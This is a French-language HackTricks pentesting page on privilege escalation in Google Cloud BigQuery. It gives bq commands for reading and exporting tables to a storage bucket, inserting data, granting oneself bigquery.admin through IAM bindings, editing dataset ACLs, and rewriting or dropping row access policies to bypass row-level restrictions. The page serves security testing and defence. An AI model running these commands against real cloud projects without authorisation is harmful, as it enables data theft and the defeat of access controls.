GCP - BigQuery Privesc

Support HackTricks

BigQuery

Pour plus d'informations sur BigQuery, consultez :

GCP - Bigquery Enum

Lire la table

En lisant les informations stockées dans une table BigQuery, il peut être possible de trouver des informations sensibles. Pour accéder aux informations, les autorisations nécessaires sont bigquery.tables.get, bigquery.jobs.create et bigquery.tables.getData :

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Exporter des données

C'est une autre façon d'accéder aux données. Exportez-les vers un bucket de stockage cloud et téléchargez les fichiers contenant les informations. Pour effectuer cette action, les autorisations suivantes sont nécessaires : bigquery.tables.export, bigquery.jobs.create et storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Insérer des données

Il pourrait être possible d'introduire certaines données de confiance dans une table Bigquery pour abuser d'une vulnérabilité à un autre endroit. Cela peut être facilement fait avec les permissions bigquery.tables.get, bigquery.tables.updateData et bigquery.jobs.create :

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Un attaquant pourrait abuser de ce privilège pour s'accorder des permissions supplémentaires sur un ensemble de données BigQuery :

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Juste cette permission permet de mettre à jour votre accès à un ensemble de données BigQuery en modifiant les ACL qui indiquent qui peut y accéder :

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

Un attaquant pourrait abuser de ce privilège pour s'accorder des permissions supplémentaires sur une table BigQuery :

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Selon la documentation, avec les autorisations mentionnées, il est possible de mettre à jour une politique de ligne. Cependant, en utilisant le cli bq, vous avez besoin de quelques autres : bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

Il est possible de trouver l'ID de filtre dans la sortie de l'énumération des politiques de ligne. Exemple :

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09

Si vous avez bigquery.rowAccessPolicies.delete au lieu de bigquery.rowAccessPolicies.update, vous pouvez également simplement supprimer la politique :

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Une autre option potentielle pour contourner les politiques d'accès aux lignes serait de simplement changer la valeur des données restreintes. Si vous ne pouvez voir que lorsque term est Cfba, modifiez simplement tous les enregistrements de la table pour avoir term = "Cfba". Cependant, cela est empêché par bigquery.

Support HackTricks

Last updated